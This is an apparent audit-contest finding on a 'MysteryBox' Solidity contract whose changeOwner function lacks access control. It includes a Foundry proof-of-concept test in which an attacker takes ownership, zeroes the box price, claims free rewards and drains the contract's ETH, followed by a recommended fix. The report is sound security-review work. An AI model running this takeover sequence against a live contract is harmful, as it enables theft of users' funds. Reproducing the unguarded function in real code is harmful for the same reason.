Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Unrestricted Owner Change leads to critical access control vulnerabilities

Summary

The MysteryBox contract contains a critical vulnerability in the changeOwner function. This function lacks access control, allowing any address to call it and become the new owner of the contract. As a result, an attacker can easily take control of the contract, gaining unrestricted access to all owner-only functions, including setting box prices, adding rewards, and withdrawing funds from the contract.

Vulnerability Details

The vulnerability is present in the changeOwner function of the MysteryBox contract:

contract MysteryBox {
address public owner;
// ... (other code)
function changeOwner(address _newOwner) public {
@> owner = _newOwner;
}
}

This implementation has the following issues:

  1. The changeOwner function is declared as public, allowing any external account to call it.

  2. There are no access controls or checks to ensure that only the current owner can change ownership.

  3. The function directly assigns the owner state variable to the _newOwner parameter without any verification.

As a result, any address can call this function and become the new owner of the contract, giving them full control over all owner-privileged functions. This allows for unauthorized takeover of the contract and its associated privileges.

Impact

The unrestricted access to the changeOwner function has severe implications for the security and integrity of the MysteryBox contract:

  1. Unauthorized Control: Any malicious actor can become the owner of the contract, gaining full control over critical functions.

  2. Financial Loss: The new owner can call withdrawFunds(), potentially draining all ETH from the contract.

  3. Manipulation of Game Mechanics: The attacker can:

    • Alter box prices via setBoxPrice(), potentially making boxes too expensive or too cheap.

    • Modify the reward pool using addReward(), potentially adding worthless rewards or extremely valuable ones to manipulate the game's economy.

  4. Exploitation of Box Purchases and Openings:

    • The new owner can set the box price to zero using setBoxPrice(0).

    • This allows anyone to increase their boxesOwned count without cost by calling buyBox.

    • Users can then repeatedly call openBox to update their rewardsOwned, potentially acquiring an unlimited number of rewards without any cost.

These impacts collectively represent a critical security risk, potentially leading to the complete compromise of the contract's intended functionality, the loss of all associated funds, and the ability to manipulate the reward distribution system unfairly.

Proof of Concept

To demonstrate this vulnerability and its impacts, we've created a test function that shows how an attacker can take control of the contract and exploit it. Add the following test to the MysteryBoxTest contract:

function testExploitChangeOwner() public {
address attacker = address(0x1234);
vm.startPrank(attacker);
// 1. Attacker becomes the new owner
mysteryBox.changeOwner(attacker);
assertEq(mysteryBox.owner(), attacker);
// 2. Attacker adds reward to the pool
mysteryBox.addReward("Diamond Coin", 2 ether);
assertEq(mysteryBox.getRewardPool().length, 5);
assertEq(mysteryBox.getRewardPool()[4].name, "Diamond Coin");
assertEq(mysteryBox.getRewardPool()[4].value, 2 ether);
// 3. Attacker sets box price to 0
mysteryBox.setBoxPrice(0);
assertEq(mysteryBox.boxPrice(), 0);
// 4. Attacker buys boxes for free
mysteryBox.buyBox();
assertEq(mysteryBox.boxesOwned(attacker), 1);
// 5. Attacker opens boxes and gets rewards
uint256 initialRewardCount = mysteryBox.getRewards().length;
mysteryBox.openBox();
assertGt(mysteryBox.getRewards().length, initialRewardCount);
// 6. Attacker withdraws all funds
uint256 initialBalance = address(mysteryBox).balance;
mysteryBox.withdrawFunds();
assertEq(address(mysteryBox).balance, 0);
assertEq(attacker.balance, initialBalance);
vm.stopPrank();
}

To run this test, use the following command:

forge test --mc MysteryBoxTest --mt testExploitChangeOwner -vv

the test output is attached here:

Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testExploitChangeOwner() (gas: 220928)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 747.58µs (230.50µs CPU time)

This PoC demonstrates that an attacker can:

  1. Take control of the contract by calling changeOwner.

  2. Manipulate the reward pool by adding new reward.

  3. Set the box price to 0, allowing free box purchases.

  4. Buy boxes for free and open them to receive rewards.

  5. Withdraw all funds from the contract.

These actions validate the severity of the vulnerability and its potential impact on the contract's integrity, game mechanics, and funds. The test passes all assertions, confirming that an attacker can indeed exploit the contract in the ways described.

Tools Used

  • Manual review of the smart contract code

  • Foundry for writing and running test cases to validate the vulnerability

Recommendations

To address this critical vulnerability, we recommend implementing proper access control for the changeOwner function:

function changeOwner(address _newOwner) public {
+ require(msg.sender == owner, "Only the current owner can change ownership");
+ require(_newOwner != address(0), "New owner cannot be the zero address");
owner = _newOwner;
}

This change ensures that:

  1. Only the current owner can transfer ownership, preventing unauthorized takeovers.

  2. The new owner cannot be set to the zero address, which could potentially lock the contract.

By implementing this recommendation, the contract will be significantly more secure against unauthorized ownership changes and the subsequent exploitation of owner privileges.

Updates

Appeal created

inallhonesty Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Anyone can change owner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.